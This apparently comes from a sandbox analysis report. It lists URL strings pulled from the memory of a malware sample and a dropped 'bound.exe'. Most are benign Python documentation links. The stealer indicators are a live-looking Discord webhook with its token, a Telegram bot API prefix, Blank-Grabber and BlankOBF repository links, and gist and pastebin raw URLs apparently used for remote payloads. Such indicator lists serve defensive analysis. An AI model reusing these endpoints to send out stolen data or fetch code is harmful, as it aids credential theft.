Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blank-8RmNx.in
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live
Source: powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393361650.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462238296.000001DCB6230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1299279521836433439/GoUGaI0qQnNvUez_tVUOCPj55nOrj_OQnwDZRVe4JnsR8fW
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://discord.com;http://127.0.0.1:6463/rpc?v=11
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407872022.000001DCB5897000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408510057.000001DCB5894000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB588C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460347601.000001DCB5A30000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1398382471.000001DCB5623000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB53C4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB53C4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB5340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1461987753.000001DCB6030000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: bound.exe, 00000011.00000002.1605507236.00000254B6B4A000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6B3A000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev/api/endpoint.json
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev/asset/discord.json
Source: bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/raw
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/rawChttps://pastebin.c
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/29ef3a44a19235b08aaf229631c024d8/raw
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberr#
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1406140672.000001DCB5CFC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1404697501.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1404952130.000001DCB6036000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1405277736.000001DCB5CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000000B.00000002.1500577512.000001E35B4AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459084495.000001DCB53C4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409474610.000001DCB5D21000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409474610.000001DCB5DAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408120431.000001DCB5E6F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB63B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1458864486.000001DCB3A68000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459508599.000001DCB55F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1461987753.000001DCB6030000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412628978.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/29200
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E57000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EB9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5EFB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C19000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ncs.roblox.com/upload
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6C15000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462238296.000001DCB6230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/#file-format
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462110032.000001DCB6130000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: bound.exe, 00000011.00000002.1605507236.00000254B6BB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/pjseRvyK
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1396701791.000001DCB55F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407872022.000001DCB5897000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1459866159.000001DCB586F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408510057.000001DCB5894000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB588C000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D0C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409064610.000001DCB5E95000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412898887.000001DCB5E94000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414429279.000001DCB5E57000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EB9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462623142.000001DCB6380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462238296.000001DCB6230000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
